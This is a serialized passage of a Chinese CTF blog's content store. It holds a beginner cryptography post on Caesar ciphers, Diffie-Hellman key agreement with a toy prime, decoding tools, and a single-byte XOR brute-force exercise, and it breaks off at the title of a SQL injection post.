cipher.bin\n",[19,3678,3679,3689],{"__ignoreMap":107},[111,3680,3681,3684,3686],{"class":113,"line":114},[111,3682,3683],{"class":117},"pip",[111,3685,122],{"class":121},[111,3687,3688],{"class":121}," xortool\n",[111,3690,3691,3693,3696,3699,3702],{"class":113,"line":140},[111,3692,3673],{"class":117},[111,3694,3695],{"class":248}," -x",[111,3697,3698],{"class":248}," -c",[111,3700,3701],{"class":248}," 20",[111,3703,3704],{"class":121}," cipher.bin\n",[10,3706,3708],{"id":3707},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3710,3711],{},"每个字母平移固定位数：",[102,3713,3715],{"className":431,"code":3714,"language":433,"meta":107,"style":107},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[19,3716,3717,3722,3727,3732,3737,3742,3747,3752,3757,3762,3766,3771],{"__ignoreMap":107},[111,3718,3719],{"class":113,"line":114},[111,3720,3721],{},"def caesar(s, shift):\n",[111,3723,3724],{"class":113,"line":140},[111,3725,3726],{},"    out = \"\"\n",[111,3728,3729],{"class":113,"line":448},[111,3730,3731],{},"    for c in s:\n",[111,3733,3734],{"class":113,"line":455},[111,3735,3736],{},"        if c.isalpha():\n",[111,3738,3739],{"class":113,"line":461},[111,3740,3741],{},"            base = ord('a') if c.islower() else ord('A')\n",[111,3743,3744],{"class":113,"line":467},[111,3745,3746],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[111,3748,3749],{"class":113,"line":473},[111,3750,3751],{},"        else:\n",[111,3753,3754],{"class":113,"line":479},[111,3755,3756],{},"            out += c\n",[111,3758,3759],{"class":113,"line":484},[111,3760,3761],{},"    return out\n",[111,3763,3764],{"class":113,"line":490},[111,3765,452],{"emptyLinePlaceholder":451},[111,3767,3768],{"class":113,"line":496},[111,3769,3770],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[111,3772,3773],{"class":113,"line":502},[111,3774,3775],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3777,185],{},[102,3779,3782],{"className":3780,"code":3781,"language":191,"meta":107},[189],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[19,3783,3781],{"__ignoreMap":107},[10,3785,3787],{"id":3786},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[154,3789,3791],{"id":3790},"_51-要解决的问题","5.1 要解决的问题",[15,3793,3794],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[154,3796,3798],{"id":3797},"_52-流程","5.2 流程",[15,3800,3801,3803],{},[24,3802,162],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3805,3806,3808],{},[24,3807,292],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1792,3810,3811,3819,3828,3836],{},[1795,3812,3813,3814,3816,3817,27],{},"双方公开约定大素数 ",[19,3815,15],{}," 与生成元 ",[19,3818,1106],{},[1795,3820,3821,3822,3824,3825,27],{},"Alice 选私钥 ",[19,3823,3473],{},"，发送 ",[19,3826,3827],{},"A = g^a mod p",[1795,3829,3830,3831,3824,3833,27],{},"Bob 选私钥 ",[19,3832,1998],{},[19,3834,3835],{},"B = g^b mod p",[1795,3837,3838,3839,3842,3843,3846,3847,27],{},"双方分别计算 ",[19,3840,3841],{},"B^a mod p"," 与 ",[19,3844,3845],{},"A^b mod p","，得到相同值 ",[19,3848,3849],{},"g^(ab) mod p",[154,3851,3853],{"id":3852},"_53-最小实现","5.3 最小实现",[102,3855,3857],{"className":431,"code":3856,"language":433,"meta":107,"style":107},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[19,3858,3859,3864,3869,3874,3879,3884,3888,3893,3898,3903,3908,3913,3917,3922,3927,3932,3937,3942,3946,3951,3956,3961,3966,3971],{"__ignoreMap":107},[111,3860,3861],{"class":113,"line":114},[111,3862,3863],{},"p, g = 0xffffffffffffffc5, 2\n",[111,3865,3866],{"class":113,"line":140},[111,3867,3868],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[111,3870,3871],{"class":113,"line":448},[111,3872,3873],{},"# g：生成元，双方公开约定。\n",[111,3875,3876],{"class":113,"line":455},[111,3877,3878],{},"a, b = 1234567, 7654321\n",[111,3880,3881],{"class":113,"line":461},[111,3882,3883],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[111,3885,3886],{"class":113,"line":467},[111,3887,452],{"emptyLinePlaceholder":451},[111,3889,3890],{"class":113,"line":473},[111,3891,3892],{},"A = pow(g, a, p)\n",[111,3894,3895],{"class":113,"line":479},[111,3896,3897],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[111,3899,3900],{"class":113,"line":484},[111,3901,3902],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[111,3904,3905],{"class":113,"line":490},[111,3906,3907],{},"B = pow(g, b, p)\n",[111,3909,3910],{"class":113,"line":496},[111,3911,3912],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[111,3914,3915],{"class":113,"line":502},[111,3916,452],{"emptyLinePlaceholder":451},[111,3918,3919],{"class":113,"line":508},[111,3920,3921],{},"s_alice = pow(B, a, p)\n",[111,3923,3924],{"class":113,"line":514},[111,3925,3926],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[111,3928,3929],{"class":113,"line":520},[111,3930,3931],{},"s_bob = pow(A, b, p)\n",[111,3933,3934],{"class":113,"line":526},[111,3935,3936],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[111,3938,3939],{"class":113,"line":532},[111,3940,3941],{},"# 两个结果相等，这就是共享密钥。\n",[111,3943,3944],{"class":113,"line":537},[111,3945,452],{"emptyLinePlaceholder":451},[111,3947,3948],{"class":113,"line":543},[111,3949,3950],{},"print(\"A =\", A)\n",[111,3952,3953],{"class":113,"line":549},[111,3954,3955],{},"print(\"B =\", B)\n",[111,3957,3958],{"class":113,"line":555},[111,3959,3960],{},"print(\"Alice 计算:\", s_alice)\n",[111,3962,3963],{"class":113,"line":561},[111,3964,3965],{},"print(\"Bob 计算:\", s_bob)\n",[111,3967,3968],{"class":113,"line":567},[111,3969,3970],{},"print(\"一致:\", s_alice == s_bob)\n",[111,3972,3973],{"class":113,"line":573},[111,3974,3975],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,3977,185],{},[102,3979,3982],{"className":3980,"code":3981,"language":191,"meta":107},[189],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[19,3983,3981],{"__ignoreMap":107},[15,3985,3986,3987,3990,3991,3993],{},"窃听者只能看到 ",[19,3988,3989],{},"p, g, A, B","，要算出 ",[19,3992,3473],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,3995,863],{"id":862},[154,3997,3999],{"id":3998},"工具-1cyberchef","工具 1：CyberChef",[15,4001,4002],{},"浏览器工具，三个常用操作：",[32,4004,4005,4015],{},[35,4006,4007],{},[38,4008,4009,4012],{},[41,4010,4011],{},"操作",[41,4013,4014],{},"用法",[51,4016,4017,4025,4033],{},[38,4018,4019,4022],{},[56,4020,4021],{},"From Base64",[56,4023,4024],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[38,4026,4027,4030],{},[56,4028,4029],{},"From Hex",[56,4031,4032],{},"拖入 From Hex 解码十六进制",[38,4034,4035,4038],{},[56,4036,4037],{},"Magic",[56,4039,4040],{},"直接粘贴未知文本，自动猜测编码方式",[154,4042,4044],{"id":4043},"工具-2python-标准库","工具 2：Python 标准库",[102,4046,4048],{"className":431,"code":4047,"language":433,"meta":107,"style":107},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[19,4049,4050,4055,4059,4064,4069],{"__ignoreMap":107},[111,4051,4052],{"class":113,"line":114},[111,4053,4054],{},"import base64, binascii\n",[111,4056,4057],{"class":113,"line":140},[111,4058,452],{"emptyLinePlaceholder":451},[111,4060,4061],{"class":113,"line":448},[111,4062,4063],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[111,4065,4066],{"class":113,"line":455},[111,4067,4068],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[111,4070,4071],{"class":113,"line":461},[111,4072,4073],{},"print(ord('A'))                       # 65，ASCII 编码\n",[154,4075,4077],{"id":4076},"工具-3pycryptodome","工具 3：pycryptodome",[15,4079,4080],{},"CTF 密码学最常用的库，三个函数：",[102,4082,4084],{"className":431,"code":4083,"language":433,"meta":107,"style":107},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[19,4085,4086,4091,4095,4100,4105],{"__ignoreMap":107},[111,4087,4088],{"class":113,"line":114},[111,4089,4090],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[111,4092,4093],{"class":113,"line":140},[111,4094,452],{"emptyLinePlaceholder":451},[111,4096,4097],{"class":113,"line":448},[111,4098,4099],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[111,4101,4102],{"class":113,"line":455},[111,4103,4104],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[111,4106,4107],{"class":113,"line":461},[111,4108,4109],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4111,185],{},[102,4113,4116],{"className":4114,"code":4115,"language":191,"meta":107},[189],"5\nb'flag'\n1718378855\n",[19,4117,4115],{"__ignoreMap":107},[10,4119,4121],{"id":4120},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4123,4124],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[102,4126,4128],{"className":4127,"code":3552,"language":191,"meta":107},[189],[19,4129,3552],{"__ignoreMap":107},[15,4131,4132],{},"解题脚本：",[15,4134,4135,4137,4138,4140],{},[24,4136,292],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[19,4139,3571],{}," 前缀过滤正确结果。",[102,4142,4144],{"className":431,"code":4143,"language":433,"meta":107,"style":107},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[19,4145,4146,4151,4156,4160,4165,4169,4173,4177,4182,4186,4191,4196],{"__ignoreMap":107},[111,4147,4148],{"class":113,"line":114},[111,4149,4150],{},"from binascii import unhexlify\n",[111,4152,4153],{"class":113,"line":140},[111,4154,4155],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[111,4157,4158],{"class":113,"line":448},[111,4159,452],{"emptyLinePlaceholder":451},[111,4161,4162],{"class":113,"line":455},[111,4163,4164],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[111,4166,4167],{"class":113,"line":461},[111,4168,452],{"emptyLinePlaceholder":451},[111,4170,4171],{"class":113,"line":467},[111,4172,3600],{},[111,4174,4175],{"class":113,"line":473},[111,4176,3610],{},[111,4178,4179],{"class":113,"line":479},[111,4180,4181],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[111,4183,4184],{"class":113,"line":484},[111,4185,3625],{},[111,4187,4188],{"class":113,"line":490},[111,4189,4190],{},"        print(\"key =\", k)          # 预期 66\n",[111,4192,4193],{"class":113,"line":496},[111,4194,4195],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[111,4197,4198],{"class":113,"line":502},[111,4199,797],{},[15,4201,185],{},[102,4203,4205],{"className":4204,"code":3655,"language":191,"meta":107},[189],[19,4206,3655],{"__ignoreMap":107},[10,4208,1021],{"id":1020},[15,4210,4211],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1035,4213,4214],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":107,"searchDepth":140,"depth":140,"links":4216},[4217,4218,4219,4220,4221,4222,4223,4224],{"id":3242,"depth":448,"text":3243},{"id":99,"depth":448,"text":100},{"id":3481,"depth":448,"text":3482},{"id":3707,"depth":448,"text":3708},{"id":3786,"depth":448,"text":3787},{"id":862,"depth":448,"text":863},{"id":4120,"depth":448,"text":4121},{"id":1020,"depth":448,"text":1021},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1051,"image":4227,"alt":4228,"tags":4229,"published":451},"/blogs-img/blog3.png","CTF 密码学入门",[1055,4230,2357],"crypto","/blogs/ctf-crypto-overview",{"title":3237,"description":4225},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4,"title":5,"body":4236,"description":1048,"extension":1049,"meta":4984,"navigation":451,"ogImage":1052,"path":1057,"seo":4986,"stem":1059,"__hash__":1060},{"type":7,"value":4237,"toc":4974},[4238,4240,4246,4248,4296,4298,4326,4328,4330,4334,4338,4348,4350,4355,4359,4377,4379,4383,4401,4403,4408,4414,4416,4420,4428,4446,4448,4450,4452,4462,4464,4469,4471,4483,4487,4491,4501,4503,4505,4507,4512,4514,4516,4520,4676,4684,4686,4690,4694,4802,4804,4809,4811,4831,4835,4837,4897,4899,4903,4905,4915,4919,4921,4939,4941,4943,4953,4955,4957,4962,4964,4972],[10,4239,13],{"id":12},[15,4241,17,4242,22,4244,27],{},[19,4243,21],{},[24,4245,26],{},[15,4247,30],{},[32,4249,4250,4260],{},[35,4251,4252],{},[38,4253,4254,4256,4258],{},[41,4255,43],{},[41,4257,46],{},[41,4259,49],{},[51,4261,4262,4274,4284],{},[38,4263,4264,4266,4270],{},[56,4265,58],{},[56,4267,4268],{},[19,4269,63],{},[56,4271,4272],{},[19,4273,68],{},[38,4275,4276,4278,4282],{},[56,4277,73],{},[56,4279,4280],{},[19,4281,78],{},[56,4283,81],{},[38,4285,4286,4288,4292],{},[56,4287,86],{},[56,4289,4290],{},[19,4291,91],{},[56,4293,4294],{},[19,4295,96],{},[10,4297,100],{"id":99},[102,4299,4300],{"className":104,"code":105,"language":106,"meta":107,"style":107},[19,4301,4302,4318],{"__ignoreMap":107},[111,4303,4304,4306,4308,4310,4312,4314,4316],{"class":113,"line":114},[111,4305,118],{"class":117},[111,4307,122],{"class":121},[111,4309,125],{"class":121},[111,4311,128],{"class":121},[111,4313,131],{"class":121},[111,4315,134],{"class":121},[111,4317,137],{"class":121},[111,4319,4320,4322,4324],{"class":113,"line":140},[111,4321,143],{"class":117},[111,4323,122],{"class":121},[111,4325,148],{"class":121},[10,4327,152],{"id":151},[154,4329,157],{"id":156},[15,4331,4332,163],{},[24,4333,162],{},[15,4335,4336,169],{},[24,4337,168],{},[102,4339,4340],{"className":104,"code":172,"language":106,"meta":107,"style":107},[19,4341,4342],{"__ignoreMap":107},[111,4343,4344,4346],{"class":113,"line":114},[111,4345,179],{"class":117},[111,4347,182],{"class":121},[15,4349,185],{},[102,4351,4353],{"className":4352,"code":190,"language":191,"meta":107},[189],[19,4354,190],{"__ignoreMap":107},[15,4356,196,4357,200],{},[19,4358,199],{},[102,4360,4361],{"className":104,"code":203,"language":106,"meta":107,"style":107},[19,4362,4363],{"__ignoreMap":107},[111,4364,4365,4367,4369,4371,4373,4375],{"class":113,"line":114},[111,4366,210],{"class":117},[111,4368,213],{"class":121},[111,4370,216],{"class":121},[111,4372,220],{"class":219},[111,4374,223],{"class":117},[111,4376,226],{"class":121},[154,4378,230],{"id":229},[15,4380,4381,235],{},[24,4382,162],{},[102,4384,4385],{"className":104,"code":238,"language":106,"meta":107,"style":107},[19,4386,4387,4397],{"__ignoreMap":107},[111,4388,4389,4391,4393,4395],{"class":113,"line":114},[111,4390,245],{"class":117},[111,4392,249],{"class":248},[111,4394,252],{"class":248},[111,4396,182],{"class":121},[111,4398,4399],{"class":113,"line":140},[111,4400,260],{"class":259},[15,4402,185],{},[102,4404,4406],{"className":4405,"code":266,"language":191,"meta":107},[189],[19,4407,266],{"__ignoreMap":107},[15,4409,271,4410,275,4412,27],{},[19,4411,274],{},[19,4413,278],{},[154,4415,282],{"id":281},[15,4417,4418,287],{},[24,4419,162],{},[15,4421,4422,293,4424,297,4426,301],{},[24,4423,292],{},[19,4425,296],{},[19,4427,300],{},[102,4429,4430],{"className":104,"code":304,"language":106,"meta":107,"style":107},[19,4431,4432],{"__ignoreMap":107},[111,4433,4434,4436,4438,4440,4442,4444],{"class":113,"line":114},[111,4435,296],{"class":117},[111,4437,213],{"class":121},[111,4439,316],{"class":315},[111,4441,319],{"class":117},[111,4443,322],{"class":248},[111,4445,325],{"class":121},[15,4447,328],{},[10,4449,332],{"id":331},[15,4451,335],{},[102,4453,4454],{"className":104,"code":338,"language":106,"meta":107,"style":107},[19,4455,4456],{"__ignoreMap":107},[111,4457,4458,4460],{"class":113,"line":114},[111,4459,345],{"class":117},[111,4461,348],{"class":121},[15,4463,351],{},[102,4465,4467],{"className":4466,"code":355,"language":191,"meta":107},[189],[19,4468,355],{"__ignoreMap":107},[15,4470,360],{},[102,4472,4473],{"className":104,"code":363,"language":106,"meta":107,"style":107},[19,4474,4475],{"__ignoreMap":107},[111,4476,4477,4479,4481],{"class":113,"line":114},[111,4478,345],{"class":117},[111,4480,372],{"class":248},[111,4482,348],{"class":121},[15,4484,377,4485,381],{},[19,4486,380],{},[15,4488,384,4489,388],{},[19,4490,387],{},[102,4492,4493],{"className":104,"code":391,"language":106,"meta":107,"style":107},[19,4494,4495],{"__ignoreMap":107},[111,4496,4497,4499],{"class":113,"line":114},[111,4498,387],{"class":117},[111,4500,348],{"class":121},[10,4502,403],{"id":402},[154,4504,407],{"id":406},[15,4506,410],{},[102,4508,4510],{"className":4509,"code":414,"language":191,"meta":107},[189],[19,4511,414],{"__ignoreMap":107},[15,4513,419],{},[154,4515,423],{"id":422},[15,4517,4518,428],{},[24,4519,162],{},[102,4521,4522],{"className":431,"code":432,"language":433,"meta":107,"style":107},[19,4523,4524,4528,4532,4536,4540,4544,4548,4552,4556,4560,4564,4568,4572,4576,4580,4584,4588,4592,4596,4600,4604,4608,4612,4616,4620,4624,4628,4632,4636,4640,4644,4648,4652,4656,4660,4664,4668,4672],{"__ignoreMap":107},[111,4525,4526],{"class":113,"line":114},[111,4527,440],{},[111,4529,4530],{"class":113,"line":140},[111,4531,445],{},[111,4533,4534],{"class":113,"line":448},[111,4535,452],{"emptyLinePlaceholder":451},[111,4537,4538],{"class":113,"line":455},[111,4539,458],{},[111,4541,4542],{"class":113,"line":461},[111,4543,464],{},[111,4545,4546],{"class":113,"line":467},[111,4547,470],{},[111,4549,4550],{"class":113,"line":473},[111,4551,476],{},[111,4553,4554],{"class":113,"line":479},[111,4555,452],{"emptyLinePlaceholder":451},[111,4557,4558],{"class":113,"line":484},[111,4559,487],{},[111,4561,4562],{"class":113,"line":490},[111,4563,493],{},[111,4565,4566],{"class":113,"line":496},[111,4567,499],{},[111,4569,4570],{"class":113,"line":502},[111,4571,505],{},[111,4573,4574],{"class":113,"line":508},[111,4575,511],{},[111,4577,4578],{"class":113,"line":514},[111,4579,517],{},[111,4581,4582],{"class":113,"line":520},[111,4583,523],{},[111,4585,4586],{"class":113,"line":526},[111,4587,529],{},[111,4589,4590],{"class":113,"line":532},[111,4591,452],{"emptyLinePlaceholder":451},[111,4593,4594],{"class":113,"line":537},[111,4595,540],{},[111,4597,4598],{"class":113,"line":543},[111,4599,546],{},[111,4601,4602],{"class":113,"line":549},[111,4603,552],{},[111,4605,4606],{"class":113,"line":555},[111,4607,558],{},[111,4609,4610],{"class":113,"line":561},[111,4611,564],{},[111,4613,4614],{"class":113,"line":567},[111,4615,570],{},[111,4617,4618],{"class":113,"line":573},[111,4619,576],{},[111,4621,4622],{"class":113,"line":579},[111,4623,558],{},[111,4625,4626],{"class":113,"line":584},[111,4627,587],{},[111,4629,4630],{"class":113,"line":590},[111,4631,593],{},[111,4633,4634],{"class":113,"line":596},[111,4635,558],{},[111,4637,4638],{"class":113,"line":601},[111,4639,604],{},[111,4641,4642],{"class":113,"line":607},[111,4643,610],{},[111,4645,4646],{"class":113,"line":613},[111,4647,616],{},[111,4649,4650],{"class":113,"line":619},[111,4651,622],{},[111,4653,4654],{"class":113,"line":625},[111,4655,452],{"emptyLinePlaceholder":451},[111,4657,4658],{"class":113,"line":630},[111,4659,633],{},[111,4661,4662],{"class":113,"line":636},[111,4663,639],{},[111,4665,4666],{"class":113,"line":642},[111,4667,645],{},[111,4669,4670],{"class":113,"line":648},[111,4671,651],{},[111,4673,4674],{"class":113,"line":654},[111,4675,657],{},[15,4677,4678,663,4680,667,4682,671],{},[19,4679,662],{},[19,4681,666],{},[19,4683,670],{},[154,4685,675],{"id":674},[15,4687,4688,680],{},[24,4689,162],{},[15,4691,4692,685],{},[24,4693,292],{},[102,4695,4696],{"className":431,"code":688,"language":433,"meta":107,"style":107},[19,4697,4698,4702,4706,4710,4714,4718,4722,4726,4730,4734,4738,4742,4746,4750,4754,4758,4762,4766,4770,4774,4778,4782,4786,4790,4794,4798],{"__ignoreMap":107},[111,4699,4700],{"class":113,"line":114},[111,4701,440],{},[111,4703,4704],{"class":113,"line":140},[111,4705,452],{"emptyLinePlaceholder":451},[111,4707,4708],{"class":113,"line":448},[111,4709,703],{},[111,4711,4712],{"class":113,"line":455},[111,4713,708],{},[111,4715,4716],{"class":113,"line":461},[111,4717,713],{},[111,4719,4720],{"class":113,"line":467},[111,4721,718],{},[111,4723,4724],{"class":113,"line":473},[111,4725,723],{},[111,4727,4728],{"class":113,"line":479},[111,4729,728],{},[111,4731,4732],{"class":113,"line":484},[111,4733,733],{},[111,4735,4736],{"class":113,"line":490},[111,4737,738],{},[111,4739,4740],{"class":113,"line":496},[111,4741,452],{"emptyLinePlaceholder":451},[111,4743,4744],{"class":113,"line":502},[111,4745,747],{},[111,4747,4748],{"class":113,"line":508},[111,4749,752],{},[111,4751,4752],{"class":113,"line":514},[111,4753,757],{},[111,4755,4756],{"class":113,"line":520},[111,4757,762],{},[111,4759,4760],{"class":113,"line":526},[111,4761,767],{},[111,4763,4764],{"class":113,"line":532},[111,4765,772],{},[111,4767,4768],{"class":113,"line":537},[111,4769,777],{},[111,4771,4772],{"class":113,"line":543},[111,4773,782],{},[111,4775,4776],{"class":113,"line":549},[111,4777,787],{},[111,4779,4780],{"class":113,"line":555},[111,4781,792],{},[111,4783,4784],{"class":113,"line":561},[111,4785,797],{},[111,4787,4788],{"class":113,"line":567},[111,4789,802],{},[111,4791,4792],{"class":113,"line":573},[111,4793,452],{"emptyLinePlaceholder":451},[111,4795,4796],{"class":113,"line":579},[111,4797,811],{},[111,4799,4800],{"class":113,"line":584},[111,4801,816],{},[15,4803,185],{},[102,4805,4807],{"className":4806,"code":822,"language":191,"meta":107},[189],[19,4808,822],{"__ignoreMap":107},[154,4810,828],{"id":827},[102,4812,4813],{"className":104,"code":831,"language":106,"meta":107,"style":107},[19,4814,4815,4823],{"__ignoreMap":107},[111,4816,4817,4819,4821],{"class":113,"line":114},[111,4818,838],{"class":117},[111,4820,122],{"class":121},[111,4822,843],{"class":121},[111,4824,4825,4827,4829],{"class":113,"line":140},[111,4826,848],{"class":117},[111,4828,851],{"class":248},[111,4830,182],{"class":121},[15,4832,4833,859],{},[19,4834,858],{},[10,4836,863],{"id":862},[32,4838,4839,4849],{},[35,4840,4841],{},[38,4842,4843,4845,4847],{},[41,4844,872],{},[41,4846,875],{},[41,4848,878],{},[51,4850,4851,4861,4871,4885],{},[38,4852,4853,4855,4857],{},[56,4854,179],{},[56,4856,887],{},[56,4858,4859],{},[19,4860,892],{},[38,4862,4863,4865,4867],{},[56,4864,897],{},[56,4866,900],{},[56,4868,4869],{},[19,4870,905],{},[38,4872,4873,4875,4877],{},[56,4874,296],{},[56,4876,912],{},[56,4878,4879,918,4881,918,4883],{},[19,4880,917],{},[19,4882,921],{},[19,4884,924],{},[38,4886,4887,4889,4891],{},[56,4888,345],{},[56,4890,931],{},[56,4892,4893,918,4895],{},[19,4894,936],{},[19,4896,939],{},[10,4898,943],{"id":942},[15,4900,946,4901,27],{},[19,4902,949],{},[15,4904,952],{},[102,4906,4907],{"className":104,"code":955,"language":106,"meta":107,"style":107},[19,4908,4909],{"__ignoreMap":107},[111,4910,4911,4913],{"class":113,"line":114},[111,4912,179],{"class":117},[111,4914,348],{"class":121},[15,4916,966,4917,27],{},[19,4918,969],{},[15,4920,972],{},[102,4922,4923],{"className":104,"code":304,"language":106,"meta":107,"style":107},[19,4924,4925],{"__ignoreMap":107},[111,4926,4927,4929,4931,4933,4935,4937],{"class":113,"line":114},[111,4928,296],{"class":117},[111,4930,213],{"class":121},[111,4932,316],{"class":315},[111,4934,319],{"class":117},[111,4936,322],{"class":248},[111,4938,325],{"class":121},[15,4940,993],{},[15,4942,996],{},[102,4944,4945],{"className":104,"code":338,"language":106,"meta":107,"style":107},[19,4946,4947],{"__ignoreMap":107},[111,4948,4949,4951],{"class":113,"line":114},[111,4950,345],{"class":117},[111,4952,348],{"class":121},[15,4954,1009],{},[15,4956,1012],{},[102,4958,4960],{"className":4959,"code":822,"language":191,"meta":107},[189],[19,4961,822],{"__ignoreMap":107},[10,4963,1021],{"id":1020},[15,4965,1024,4966,1027,4968,1030,4970,1033],{},[19,4967,179],{},[19,4969,296],{},[19,4971,345],{},[1035,4973,1037],{},{"title":107,"searchDepth":140,"depth":140,"links":4975},[4976,4977,4978,4979,4980,4981,4982,4983],{"id":12,"depth":448,"text":13},{"id":99,"depth":448,"text":100},{"id":151,"depth":448,"text":152},{"id":331,"depth":448,"text":332},{"id":402,"depth":448,"text":403},{"id":862,"depth":448,"text":863},{"id":942,"depth":448,"text":943},{"id":1020,"depth":448,"text":1021},{"date":1051,"image":1052,"alt":1053,"tags":4985,"published":451},[1055,1056],{"title":5,"description":1048},{"id":4988,"title":4989,"body":4990,"description":6382,"extension":1049,"meta":6383,"navigation":451,"ogImage":6384,"path":6389,"seo":6390,"stem":6391,"__hash__":6392},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":4991,"toc":6371},[4992,4996,4999,5016,5026,5037,5044,5048,5052,5085,5091,5095,5098,5133,5138,5186,5192,5198,5202,5211,5216,5220,5225,5244,5246,5252,5256,5261,5277,5280,5286,5293,5297,5313,5319,5323,5339,5342,5356,5360,5365,5370,5377,5381,5389,5438,5441,5445,5453,5469,5475,5479,5495,5499,5503,5519,5524,5528,5544,5548,5563,5567,5583,5588,5594,5598,5603,5606,5610,5626,5631,5647,5652,5655,5664,5801,5804,5810,5814,5821,5837,5840,5844,5849,5853,5858,5881,5883,5889,5893,5913,5918,5922,5954,5961,5965,6009,6018,6025,6029,6034,6040,6210,6213,6225,6227,6233,6236,6357,6361,6368],[10,4993,4995],{"id":4994},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 